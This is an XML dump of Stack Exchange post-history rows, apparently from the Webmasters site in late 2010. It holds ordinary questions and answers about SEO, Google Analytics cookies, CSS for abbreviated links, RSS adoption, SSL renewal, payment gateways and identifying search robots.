  <row Id="12213" PostHistoryTypeId="4" PostId="6116" RevisionGUID="d1dfe4bb-0efd-49f4-951e-59b0309f1247" CreationDate="2010-12-01T00:23:02.473" UserId="3572" Comment="added 247 characters in body; edited title; edited tags" Text="Download/submission directories are dead? Are they good for SEO?" />
  <row Id="12214" PostHistoryTypeId="6" PostId="6116" RevisionGUID="d1dfe4bb-0efd-49f4-951e-59b0309f1247" CreationDate="2010-12-01T00:23:02.473" UserId="3572" Comment="added 247 characters in body; edited title; edited tags" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;link-submission&gt;" />
  <row Id="12215" PostHistoryTypeId="2" PostId="6117" RevisionGUID="cb759c30-fa02-4247-a707-f40f690ab241" CreationDate="2010-12-01T00:41:41.673" UserId="2293" Text="Yeah, that's true.&#xD;&#xA;&#xD;&#xA;But think a while... you go for google to search for other things over internet other than search engines. It will be more commom search for &quot;white fur shoes&quot; than &quot;search engines&quot; in a search engine.&#xD;&#xA;&#xD;&#xA;Well, yes, they have a nasty SEO. But it doesn't makes any difference for them. Follow an old joke just for fun [it is still funny nowadays]&#xD;&#xA;&#xD;&#xA;http://www.meangene.com/google/design_for_google.html" />
  <row Id="12216" PostHistoryTypeId="2" PostId="6118" RevisionGUID="d97ed770-c3ae-43a8-92fb-05e074e06460" CreationDate="2010-12-01T01:09:37.553" UserId="233" Text="The reason is purely because Google does not have the word &quot;engine&quot; anywhere on the page. Not in the page title, meta description, URL or page text. If the page title said &quot;Google search engine&quot; then they would undoubtedly be #1 or #2 across the board.&#xD;&#xA;&#xD;&#xA;Interestingly, google.co.uk shows up in Bing search results for me. The snippet likely comes from DMOZ since the home page has no meta description (they do that to save every last byte of bandwidth). Google.com's snippet makes no mention of &quot;engine&quot;.&#xD;&#xA;&#xD;&#xA;Finally, why would they want to rank for &quot;search engine&quot;? Google is already ubiquitous, they don't need the 3 people each day who type &quot;search engine&quot; into a different search engine..." />
  <row Id="12217" PostHistoryTypeId="2" PostId="6119" RevisionGUID="f606970d-1627-4ed7-8e1b-d754bce876d0" CreationDate="2010-12-01T01:24:59.467" UserId="539" Text="I’m using Google Analytics on a site — let’s call it www.domain.com.&#xD;&#xA;&#xD;&#xA;My Google Analytics website profile is for www.domain.com, and my only report is set up for www.domain.com. Requests to domain.com redirect permanently to www.domain.com.&#xD;&#xA;&#xD;&#xA;I’ve got the regular Analytics JavaScript on my index page for the domain. For some reason, it seems to be setting its cookies for `domain.com` instead of `www.domain.com`.&#xD;&#xA;&#xD;&#xA;This is unfortunate, as I’ve got `cdn.domain.com` set up as a CDN using Amazon Cloudfront, so I’d rather not have useless cookies (Analytics seems to set four cookies) cluttering up those requests.&#xD;&#xA;&#xD;&#xA;How can I make Analytics set cookies for `www.domain.com` instead of `domain.com`?" />
  <row Id="12218" PostHistoryTypeId="1" PostId="6119" RevisionGUID="f606970d-1627-4ed7-8e1b-d754bce876d0" CreationDate="2010-12-01T01:24:59.467" UserId="539" Text="Can I make Google Analytics set its cookies on just a subdomain? (I.e. www.domain.com, not domain.com)" />
  <row Id="12219" PostHistoryTypeId="3" PostId="6119" RevisionGUID="f606970d-1627-4ed7-8e1b-d754bce876d0" CreationDate="2010-12-01T01:24:59.467" UserId="539" Text="&lt;google-analytics&gt;" />
  <row Id="12220" PostHistoryTypeId="2" PostId="6120" RevisionGUID="212d696d-11ff-4de4-8373-d07537fe02f5" CreationDate="2010-12-01T01:27:20.867" UserId="539" Text="As far as I can tell, the way to achieve this is to add the following line to your Analytics JavaScript, with the other `_gaq.push` calls:&#xD;&#xA;&#xD;&#xA;    _gaq.push(['_setDomainName', 'www.pauldwaite.co.uk']);&#xD;&#xA;&#xD;&#xA;(See http://code.google.com/apis/analytics/docs/tracking/gaTrackingSite.html#siteLinkingConsiderations)&#xD;&#xA;&#xD;&#xA;That fixed the cookies for me." />
  <row Id="12221" PostHistoryTypeId="2" PostId="6121" RevisionGUID="3e9f28da-7fe6-4644-a3a8-9bd8648eb695" CreationDate="2010-12-01T01:36:06.270" UserId="1218" Text="Forget anything that says `http://` -- too scary for non-geeks, and browsers handle this well enough these days (Chrome doesn't even show it on latest builds).&#xD;&#xA;&#xD;&#xA;`yoursite.com` is, strictly speaking, the correct way to represent the domain, as the `www.` is deprecated.&#xD;&#xA;&#xD;&#xA;However, the average man (or woman) in the street is more familiar with seeing `www.yoursite.com`, so if your audience is non-geeks, do them a favour, give them what they're expecting, and use `www.yoursite.com`.&#xD;&#xA;&#xD;&#xA;If you want to be more cutting edge, your audience is geeky, or you want to *school* people, use `yoursite.com`." />
  <row Id="12222" PostHistoryTypeId="2" PostId="6123" RevisionGUID="8e9d1efb-02ed-4f3a-9752-d6dbc25d4e6e" CreationDate="2010-11-30T22:31:17.613" UserDisplayName="FatherStorm" Text="sure.&#xD;&#xA;&#xD;&#xA;    1.) relevant and interesting content&#xD;&#xA;    2.) attractive design&#xD;&#xA;    3.) good color selection&#xD;&#xA;    4.) optimized (fast) loading&#xD;&#xA;&#xD;&#xA;you'd be surprised how much color selection effects a visitor's desire to stay/leave.&#xD;&#xA;" />
  <row Id="12223" PostHistoryTypeId="2" PostId="6122" RevisionGUID="62aef4c6-f351-460e-a3ba-e6509b7b78d8" CreationDate="2010-11-30T22:27:43.653" UserDisplayName="Liorp" Text="I found some stuff on the web with tips about how to reduce bouncing rate (the percentage of web visitors which left the website without going to the any next page). Does anyone have tips which he actually tried and helped him reduce his bouncing rate ?&#xD;&#xA;&#xD;&#xA;Regards" />
  <row Id="12224" PostHistoryTypeId="1" PostId="6122" RevisionGUID="62aef4c6-f351-460e-a3ba-e6509b7b78d8" CreationDate="2010-11-30T22:27:43.653" UserDisplayName="Liorp" Text="How to decrease webpage bouncing rate?" />
  <row Id="12225" PostHistoryTypeId="3" PostId="6122" RevisionGUID="62aef4c6-f351-460e-a3ba-e6509b7b78d8" CreationDate="2010-11-30T22:27:43.653" UserDisplayName="Liorp" Text="&lt;bounce&gt;&lt;visitors&gt;" />
  <row Id="12226" PostHistoryTypeId="17" PostId="6122" RevisionGUID="0672bf24-2365-4072-bf89-178b6be79d3f" CreationDate="2010-12-01T01:43:53.413" UserId="-1" Comment="from http://stackoverflow.com/questions/4319360/how-to-decrease-webpage-bouncing-rate" Text="" />
  <row Id="12227" PostHistoryTypeId="2" PostId="6124" RevisionGUID="2df58db6-ddfc-4095-8461-ce25c76675b0" CreationDate="2010-12-01T01:52:08.983" UserId="233" Text="I think script directories and the like are still quite popular, although these days most people are using the extensions on their CMS (Wordpress, Joomla etc) for the majority of &quot;additional functionality&quot;.&#xD;&#xA;&#xD;&#xA;I have a couple of PHP scripts that I listed on HotScripts.com years ago and to this day I still get a significant amount of traffic from there. So go ahead and spread the word - if your software is fantastic you won't need to do too much self-promotion before others are doing the promoting for you!" />
  <row Id="12228" PostHistoryTypeId="2" PostId="6125" RevisionGUID="0d8086df-c90e-443f-9bca-830d92ea1d79" CreationDate="2010-12-01T02:17:54.620" UserId="233" Text="In several places I am using linked abbreviations for a set of words, and Google is picking these abbreviated terms as site links. Problem is, the abbreviation only makes sense in context, not when viewing the Google site links.&#xD;&#xA;&#xD;&#xA;Each link has a title with the full text. Is there a way to only show the first 3 letters but keeping the entire string in the HTML? Setting a short width doesn't work well." />
  <row Id="12229" PostHistoryTypeId="1" PostId="6125" RevisionGUID="0d8086df-c90e-443f-9bca-830d92ea1d79" CreationDate="2010-12-01T02:17:54.620" UserId="233" Text="Can I show abbreviation but have full text in the HTML?" />
  <row Id="12230" PostHistoryTypeId="3" PostId="6125" RevisionGUID="0d8086df-c90e-443f-9bca-830d92ea1d79" CreationDate="2010-12-01T02:17:54.620" UserId="233" Text="&lt;seo&gt;" />
  <row Id="12231" PostHistoryTypeId="2" PostId="6126" RevisionGUID="35453d78-9c80-4e7d-ab15-825ff52a1263" CreationDate="2010-12-01T02:44:20.017" UserId="3574" Text="I've got a gaming site that hosts After Action Reports (AARs). From my traffic logs, I know that these AARs are far and away the most popular part of the site with my members.&#xD;&#xA;&#xD;&#xA;Members typically post 2 or 3 AARs to the site per day, but we do occasionally have zero days.&#xD;&#xA;&#xD;&#xA;As a service to my members (and to myself, as I enjoy them too!), I'd like to implement an RSS feed that announces the publication of each new AAR.&#xD;&#xA;&#xD;&#xA;There's only one problem - the demographics of my userbase skew towards nearly or already retired men who are not tech savvy at all.&#xD;&#xA;&#xD;&#xA;I know how to implement RSS... but I'd like suggestions on how to get my users to adopt it themselves.&#xD;&#xA;&#xD;&#xA;From direct communication with my core members, I know that they're highly receptive to the ***concept*** of RSS, but hesitant to jump through the hoops of learning to use yet another web thingy. (It's simple, I know, but these folks are old school)&#xD;&#xA;&#xD;&#xA;Has anyone else been faced with a similar challenge? (clear benefit, resistant-on-principle userbase) How'd you overcome it?" />
  <row Id="12232" PostHistoryTypeId="1" PostId="6126" RevisionGUID="35453d78-9c80-4e7d-ab15-825ff52a1263" CreationDate="2010-12-01T02:44:20.017" UserId="3574" Text="Getting users to use RSS..." />
  <row Id="12233" PostHistoryTypeId="3" PostId="6126" RevisionGUID="35453d78-9c80-4e7d-ab15-825ff52a1263" CreationDate="2010-12-01T02:44:20.017" UserId="3574" Text="&lt;website-features&gt;&lt;rss&gt;" />
  <row Id="12234" PostHistoryTypeId="2" PostId="6127" RevisionGUID="82a29db4-fff7-47b6-8f3a-8372e8345cfa" CreationDate="2010-12-01T04:25:54.420" UserId="3575" Text="I've had an SSL certificate for a site for 2 years (from GoDaddy), and it was about to expire in a few weeks.  I renewed with GoDaddy for another 2 years.  Do I need to update anything manually on the server, or does renewing through the SSL provider take care of everything?" />
  <row Id="12235" PostHistoryTypeId="1" PostId="6127" RevisionGUID="82a29db4-fff7-47b6-8f3a-8372e8345cfa" CreationDate="2010-12-01T04:25:54.420" UserId="3575" Text="I've renewed my SSL certificate... do I need to &quot;do&quot; anything more?" />
  <row Id="12236" PostHistoryTypeId="3" PostId="6127" RevisionGUID="82a29db4-fff7-47b6-8f3a-8372e8345cfa" CreationDate="2010-12-01T04:25:54.420" UserId="3575" Text="&lt;ssl-certificate&gt;" />
  <row Id="12237" PostHistoryTypeId="2" PostId="6128" RevisionGUID="11fd4fe0-0c76-4faa-ab5d-fbf4cad26330" CreationDate="2010-12-01T04:50:48.023" UserId="1044" Text="Hello I have a website that I would like to keep online no matter what for that purpose I don't mind buying multiple webhosting packages. Its a small website in terms of size but not in terms of client access and employee email accounts. I would like to achieve the following:&#xD;&#xA;&#xD;&#xA;1) Add the DNS records of these multiple providers to one domain name, so if the on providers servers go down it can automatically use the next appropriate server.&#xD;&#xA;&#xD;&#xA;2) Emails can be replicated across all three servers, I don't mind purchasing webhosting accounts with the same contol panel if I have to achieve the same.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12238" PostHistoryTypeId="1" PostId="6128" RevisionGUID="11fd4fe0-0c76-4faa-ab5d-fbf4cad26330" CreationDate="2010-12-01T04:50:48.023" UserId="1044" Text="How do I add multiple providers DNS to my domain for replication?" />
  <row Id="12239" PostHistoryTypeId="3" PostId="6128" RevisionGUID="11fd4fe0-0c76-4faa-ab5d-fbf4cad26330" CreationDate="2010-12-01T04:50:48.023" UserId="1044" Text="&lt;domains&gt;&lt;dns&gt;&lt;shared-hosting&gt;" />
  <row Id="12240" PostHistoryTypeId="2" PostId="6129" RevisionGUID="c6de5b3f-1631-4e85-821b-8a1e497330e1" CreationDate="2010-12-01T05:06:26.680" UserId="3224" Text="(Not sure if this is the right spot, feel free to direct me to the right area if it isn't.)&#xD;&#xA;&#xD;&#xA;I'm needing to embed the latest video for the website that I'm working on's YouTube channel, and I'd prefer to be able to do it using the new iframe embed YouTube added a while ago.&#xD;&#xA;&#xD;&#xA;Thing is, I'm not sure how to do it, since I can't find anything on YouTube's website. I don't need that channel embed thing, just the latest video on the channel." />
  <row Id="12241" PostHistoryTypeId="1" PostId="6129" RevisionGUID="c6de5b3f-1631-4e85-821b-8a1e497330e1" CreationDate="2010-12-01T05:06:26.680" UserId="3224" Text="Is there a YouTube &lt;iframe&gt; embed for the latest video on a channel?" />
  <row Id="12242" PostHistoryTypeId="3" PostId="6129" RevisionGUID="c6de5b3f-1631-4e85-821b-8a1e497330e1" CreationDate="2010-12-01T05:06:26.680" UserId="3224" Text="&lt;video&gt;&lt;embed&gt;" />
  <row Id="12244" PostHistoryTypeId="2" PostId="6130" RevisionGUID="39980828-123c-4229-b4b4-9487eba606d3" CreationDate="2010-12-01T05:17:37.637" UserId="1064" Text="CSS directives:&#xD;&#xA;&#xD;&#xA;    a.abbrev span { display:none; }&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;FT&lt;span&gt; (Full Text)&lt;/span&gt;&lt;/a&gt;" />
  <row Id="12245" PostHistoryTypeId="4" PostId="6128" RevisionGUID="b74a224d-731b-4199-8dff-2d7a218b99d6" CreationDate="2010-12-01T05:31:57.490" UserId="1044" Comment="edited title" Text="How do I add multiple providers DNS to my domain for website replication and access?" />
  <row Id="12246" PostHistoryTypeId="2" PostId="6131" RevisionGUID="b887eeb8-d6f9-4d2c-85db-9f4a69608454" CreationDate="2010-12-01T06:13:08.153" UserId="3576" Text="I want to know what's the reason behind shifting of website on google is there, whenever I updated the website with the new content.&#xD;&#xA;&#xD;&#xA;Whenever I go ahead with the new content, it goes beyond 150 on google.&#xD;&#xA;&#xD;&#xA;and after few days it comes to 30&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I don't know what should I do to bring it on to the top 5.&#xD;&#xA;&#xD;&#xA;Is there any  software which will help in bringing on to the top ?&#xD;&#xA;&#xD;&#xA;I m just doing directory submission 5-10 everyday.&#xD;&#xA;&#xD;&#xA;Please suggest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="12247" PostHistoryTypeId="1" PostId="6131" RevisionGUID="b887eeb8-d6f9-4d2c-85db-9f4a69608454" CreationDate="2010-12-01T06:13:08.153" UserId="3576" Text="Why website position on the google is shifting" />
  <row Id="12248" PostHistoryTypeId="3" PostId="6131" RevisionGUID="b887eeb8-d6f9-4d2c-85db-9f4a69608454" CreationDate="2010-12-01T06:13:08.153" UserId="3576" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="12249" PostHistoryTypeId="5" PostId="6078" RevisionGUID="07657ec6-39b0-42db-98fe-d341771e77ae" CreationDate="2010-12-01T06:24:52.667" UserId="3552" Comment="added 7 characters in body" Text="We are currently trying to see if our site is being indexed successfully by google. Mind you we got millions of pages.&#xD;&#xA;&#xD;&#xA;A trick some people use is the google site: command.&#xD;&#xA;I always assumed that google.com and google.nl would be the same. Data being fetched by the same GoogleBot. And that it was more of a latency thing where google.nl would be closer to home than google.com. But this is clearly not the case, since google.nl and google.com give back different results. &#xD;&#xA;&#xD;&#xA;http://www.google.nl/search?sourceid=chrome&amp;ie=UTF-8&amp;q=site:amazon.com returns 37.400.000 results&#xD;&#xA;and&#xD;&#xA;http://www.google.com/#sclient=psy&amp;hl=en&amp;site=&amp;source=hp&amp;q=site:amazon.com returns  487,000,000 results&#xD;&#xA;&#xD;&#xA;Does anybody know how this works?&#xD;&#xA;&#xD;&#xA;Another related question is what other tricks people use to see if google.com successfully indexes all data.&#xD;&#xA;&#xD;&#xA;It seems the best way is to do some analytics on the apache logs searching for the GoogleBot." />
  <row Id="12250" PostHistoryTypeId="2" PostId="6133" RevisionGUID="8d8c6aad-941b-4bae-8d12-fe8489a744e9" CreationDate="2010-11-29T18:32:32.157" UserId="932" Text="I say that moneybookers is also used a lot and its simple.&#xD;&#xA;&#xD;&#xA;http://www.moneybookers.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Maybe in the future google checkout maybe is also good, but for the moment is very limited.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;More to check out     &#xD;&#xA;http://sbs.smallbusiness.yahoo.com/merchant/  &#xD;&#xA;http://www.2checkout.com/  &#xD;&#xA;http://www.saftpay.com/   &#xD;&#xA;http://www.alertpay.com/   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="12251" PostHistoryTypeId="2" PostId="6134" RevisionGUID="786755a5-b7e2-44bd-ae13-40d7345e382a" CreationDate="2010-11-29T18:39:55.460" UserId="1006" Text="[Google Checkout][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://checkout.google.com/main" />
  <row Id="12252" PostHistoryTypeId="2" PostId="6135" RevisionGUID="aedc03e8-5d4d-4a8d-81ca-2c3571cf8e75" CreationDate="2010-11-29T18:44:30.467" UserDisplayName="s_hewitt" Text="[Amazon Checkout][1] is fairly simple to work with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://payments.amazon.com/sdui/sdui/business/overview" />
  <row Id="12253" PostHistoryTypeId="2" PostId="6132" RevisionGUID="ac390422-4725-4c5e-ae7d-a7cb4881b1ad" CreationDate="2010-11-29T18:28:36.213" UserDisplayName="xyrus the virus" Text="Or maybe paypal is the most useful of them all.??&#xD;&#xA;&#xD;&#xA;to be integrated in asp.net c#" />
  <row Id="12254" PostHistoryTypeId="1" PostId="6132" RevisionGUID="ac390422-4725-4c5e-ae7d-a7cb4881b1ad" CreationDate="2010-11-29T18:28:36.213" UserDisplayName="xyrus the virus" Text="what is the simplest online payment gateway? other than paypal. " />
  <row Id="12255" PostHistoryTypeId="3" PostId="6132" RevisionGUID="ac390422-4725-4c5e-ae7d-a7cb4881b1ad" CreationDate="2010-11-29T18:28:36.213" UserDisplayName="xyrus the virus" Text="&lt;c#&gt;&lt;asp.net&gt;&lt;paypal&gt;" />
  <row Id="12256" PostHistoryTypeId="17" PostId="6132" RevisionGUID="263fa123-dd43-4cd5-b2ed-1732663a82eb" CreationDate="2010-12-01T07:20:09.353" UserId="-1" Comment="from http://stackoverflow.com/questions/4306797/what-is-the-simplest-online-payment-gateway-other-than-paypal" Text="" />
  <row Id="12257" PostHistoryTypeId="2" PostId="6136" RevisionGUID="2223d2b1-b535-4e54-a1b9-4c8acf46d94d" CreationDate="2010-12-01T08:49:56.417" UserId="1089" Text="If your based in the UK or Ireland [sagepay][1]  is a solid, reliable and recognisable name to go with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sagepay.com/" />
  <row Id="12258" PostHistoryTypeId="2" PostId="6137" RevisionGUID="63f8de39-a6ba-4ca1-bf5e-5f0c322075cf" CreationDate="2010-12-01T09:06:32.700" UserId="3307" Text="Firstly, I would create your feed, but point the link to at Feedburner. That will handle a lot of the heavy lifting for you in terms of making sure that it's RSS and Atom as well. Also, it makes it very easy to subscribe in quite a few different web-based readers. &#xD;&#xA;&#xD;&#xA;As for getting people to use it, make sure that the link to the feed is blindingly obvious, maybe a nice large icon for it.&#xD;&#xA;&#xD;&#xA;I think the phrase here is: you can take a horse to water, but you can't make it drink. You can make it easy for people to access the RSS feed, but you can't make them use it." />
  <row Id="12259" PostHistoryTypeId="2" PostId="6138" RevisionGUID="a6ce4717-8ee2-41f6-85cc-fb266ff38484" CreationDate="2010-12-01T09:08:23.370" UserId="3461" Text="Do you actually delete old pages? (and then rename and reupload, or sth)&#xD;&#xA;Do you have a lot of links, bit of unrelated, in your pages? &#xD;&#xA;Maybe  are you having duplicated content, paragraphs, pages? Too many ads in many pages?&#xD;&#xA;&#xD;&#xA;How is your domain? In which kind of hosting it is? It sometimes depends on if hosted in certain kind of hosting, or if the url is of certain kind, if for the domain you are using redirections, cloaking... &#xD;&#xA;&#xD;&#xA;A lot of factors can make a site go down, I'd check most of what is usually said to lower it or possibly harm it.&#xD;&#xA;Just some brainstoprming to help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12260" PostHistoryTypeId="2" PostId="6139" RevisionGUID="64f0f33c-fd29-4805-a2f4-38cf90fe5938" CreationDate="2010-12-01T09:21:09.997" UserId="3307" Text="You could use the abbreviation tag as follows:&#xD;&#xA;&#xD;&#xA;    &lt;abbr title=&quot;Hypertext Markup Language&quot;&gt;HTML&lt;/abbr&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12261" PostHistoryTypeId="5" PostId="6130" RevisionGUID="957ca38a-fdfd-4eed-8999-a30443927cc6" CreationDate="2010-12-01T09:31:30.170" UserId="1064" Comment="Fixed markup example" Text="CSS directives:&#xD;&#xA;&#xD;&#xA;    a.abbrev span { display:none; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;FT&lt;span&gt; (Full Text)&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Updates:** ... a less ugly solution and why other avenues of exploration will probably not yield the desired results.&#xD;&#xA;&#xD;&#xA;CSS directives:&#xD;&#xA;&#xD;&#xA;    a.abbrev span {&#xD;&#xA;      display:block;&#xD;&#xA;      float:left;&#xD;&#xA;      width:1em;&#xD;&#xA;      letter-spacing:2em;&#xD;&#xA;      overflow:hidden;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;&lt;span&gt;Full&lt;/span&gt; &lt;span&gt;Text&lt;/span&gt;&lt;/a&gt; &#xD;&#xA;&#xD;&#xA;Things that won't work:&#xD;&#xA;&#xD;&#xA;Using `F&lt;span&gt;ull&lt;/span&gt; T&lt;span&gt;ext&lt;/span&gt;` with `display:none`: Google displays `&lt;span&gt;` tags in links as spaces - i.e. your links would appear at Google as &quot;F ull T ext&quot;&#xD;&#xA;&#xD;&#xA;`&lt;acronym title=&quot;Full Text&quot;&gt;FT&lt;/acronym&gt;` - Won't be expanded (and may even be [ignored][1])&#xD;&#xA;&#xD;&#xA;CSS `:not()` [selector][2]: `:first-letter` is a pseudo class and the `:not()` selector does not accept pseudo classes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.hobo-web.co.uk/seo-blog/accronym-tags-abbr-title-attributes/&#xD;&#xA;  [2]: http://www.w3.org/TR/css3-selectors/#negation" />
  <row Id="12262" PostHistoryTypeId="5" PostId="6130" RevisionGUID="0bd1868c-9a96-44af-8776-7f26eff98686" CreationDate="2010-12-01T09:38:04.113" UserId="1064" Comment="Revised - linked resource was not focused on topic in question" Text="CSS directives:&#xD;&#xA;&#xD;&#xA;    a.abbrev span { display:none; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;FT&lt;span&gt; (Full Text)&lt;/span&gt;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Updates:** ... a less ugly solution and why other avenues of exploration will probably not yield the desired results.&#xD;&#xA;&#xD;&#xA;CSS directives:&#xD;&#xA;&#xD;&#xA;    a.abbrev span {&#xD;&#xA;      display:block;&#xD;&#xA;      float:left;&#xD;&#xA;      width:1em;&#xD;&#xA;      letter-spacing:2em;&#xD;&#xA;      overflow:hidden;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Links:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;...&quot; title=&quot;Full Text&quot; class=&quot;abbrev&quot;&gt;&lt;span&gt;Full&lt;/span&gt; &lt;span&gt;Text&lt;/span&gt;&lt;/a&gt; &#xD;&#xA;&#xD;&#xA;Things that won't work:&#xD;&#xA;&#xD;&#xA;Using `F&lt;span&gt;ull&lt;/span&gt; T&lt;span&gt;ext&lt;/span&gt;` with `display:none`: Google displays `&lt;span&gt;` tags in links as spaces - i.e. your links would appear at Google as &quot;F ull T ext&quot;&#xD;&#xA;&#xD;&#xA;`&lt;acronym title=&quot;Full Text&quot;&gt;FT&lt;/acronym&gt;` - Won't be expanded&#xD;&#xA;&#xD;&#xA;`&lt;abbr title=&quot;Full Text&quot;&gt;FT&lt;/abbr&gt;` - As with `&lt;acronym&gt;`, highly doubt this will be expanded for purposes of Site Links&#xD;&#xA;&#xD;&#xA;CSS `:not()` [selector][2]: `:first-letter` is a pseudo class and the `:not()` selector does not accept pseudo classes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [2]: http://www.w3.org/TR/css3-selectors/#negation" />
  <row Id="12263" PostHistoryTypeId="2" PostId="6140" RevisionGUID="8d8dad89-262b-435b-8151-96e8db1a8dcf" CreationDate="2010-12-01T09:54:54.597" UserId="3578" Text="I have built my entire site using AJAX (indeed it's GWT). I have also implemented AJAX crawling proposed by Google. However, after the implementation, I found that neither Yahoo , Bing, nor Baidu implemented that scheme!&#xD;&#xA;&#xD;&#xA;I'm wondering if there is a way to identify the web client is a search robot. If they are, they will be shown the HTML snapshot I created.&#xD;&#xA;&#xD;&#xA;It will be best if I can identify them in APACHE level, then I can just do a mod_rewrite. But it's still ok if I can do that in PHP or GWT." />
  <row Id="12264" PostHistoryTypeId="1" PostId="6140" RevisionGUID="8d8dad89-262b-435b-8151-96e8db1a8dcf" CreationDate="2010-12-01T09:54:54.597" UserId="3578" Text="How to identify the client is a search robot?" />
  <row Id="12265" PostHistoryTypeId="3" PostId="6140" RevisionGUID="8d8dad89-262b-435b-8151-96e8db1a8dcf" CreationDate="2010-12-01T09:54:54.597" UserId="3578" Text="&lt;apache&gt;&lt;ajax&gt;" />
  <row Id="12266" PostHistoryTypeId="2" PostId="6141" RevisionGUID="790b533c-40c0-4025-b664-bcdbb21c7927" CreationDate="2010-12-01T09:59:33.270" UserId="3307" Text="If you're just renewing, then I'm assuming you already have the certificate installed on your server. Therefore I doubt you need to do anything more." />
  <row Id="12267" PostHistoryTypeId="2" PostId="6142" RevisionGUID="fa687794-be07-46cd-8888-a779ce2a5ab4" CreationDate="2010-12-01T10:03:05.963" UserId="2930" Text="I am trying to perform some SEO on [my blog][1].Is it fine to keep sharing the blog on facebook and other social networks,sharing the link on diffrent groups(I mean groups related to my blog).Is it fine or its included in spamming?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com/" />
  <row Id="12268" PostHistoryTypeId="1" PostId="6142" RevisionGUID="fa687794-be07-46cd-8888-a779ce2a5ab4" CreationDate="2010-12-01T10:03:05.963" UserId="2930" Text="Is it fine to share your blog everywhere?" />
  <row Id="12269" PostHistoryTypeId="3" PostId="6142" RevisionGUID="fa687794-be07-46cd-8888-a779ce2a5ab4" CreationDate="2010-12-01T10:03:05.963" UserId="2930" Text="&lt;seo&gt;" />
  <row Id="12270" PostHistoryTypeId="2" PostId="6143" RevisionGUID="bd89ed66-fe74-438f-9a02-d9f448e83999" CreationDate="2010-12-01T10:04:12.897" UserId="221" Text="Search engine robots are, as far as the client is concerned, no different from any other user-agent. Indeed is worth noting that many search engines (Google in particular) can get unhappy if their robots are served different content than regular visitors. This means that they tend to use generic user agent strings (e.g. `Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)`), but usually with some detail buried deeper as in the provided example.&#xD;&#xA;&#xD;&#xA;The best way of detecting such robots is to use an IP filter. You'll need to either compile your own list or rely on one like [this][1].&#xD;&#xA;&#xD;&#xA;Using such a list should enable you to handle all major search engine robots. Adding rewrite rules based on IP is also fairly simple so it should meet your requirements. Just be sure to update it every once in a while.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iplists.com/" />
  <row Id="12271" PostHistoryTypeId="2" PostId="6144" RevisionGUID="ab8d2193-9520-4927-a40f-300d344f3b63" CreationDate="2010-12-01T10:57:32.440" UserId="798" Text="I found that the most effective method was an &quot;Add to Google&quot; button for the feed. In my experience, a lot of older users use iGoogle as their startpage." />
  <row Id="12272" PostHistoryTypeId="5" PostId="6125" RevisionGUID="813d20ee-ed16-497d-9bf6-447b92995081" CreationDate="2010-12-01T11:08:00.163" UserId="233" Comment="retag" Text="In several places I am using linked abbreviations for a set of words, and Google is picking these abbreviated terms as sitelinks. Problem is, the abbreviation only makes sense in context, not when viewing the Google site links.&#xD;&#xA;&#xD;&#xA;Each link has a title with the full text. Is there a way to only show the first 3 letters but keeping the entire string in the HTML? Setting a short width doesn't work well." />
  <row Id="12273" PostHistoryTypeId="6" PostId="6125" RevisionGUID="813d20ee-ed16-497d-9bf6-447b92995081" CreationDate="2010-12-01T11:08:00.163" UserId="233" Comment="retag" Text="&lt;seo&gt;&lt;sitelinks&gt;" />
  <row Id="12274" PostHistoryTypeId="2" PostId="6145" RevisionGUID="fc322a1e-b41c-4dd5-b6b2-d167d8f7e1fa" CreationDate="2010-12-01T11:48:19.287" UserId="3307" Text="My advice would be to put &quot;share this&quot;-style links on each post, tweet each post as you do it and on Facebook there is a feature where you can submit an RSS feed and when it is updated it will post as a note (it might not be a note, but I'm pretty sure it is).&#xD;&#xA;&#xD;&#xA;Other than that, get your link into any signatures on forums (I don't think Stack Overflow allows signatures under each post, but I notice that you haven't added your website to your profile on here - anything helps)" />
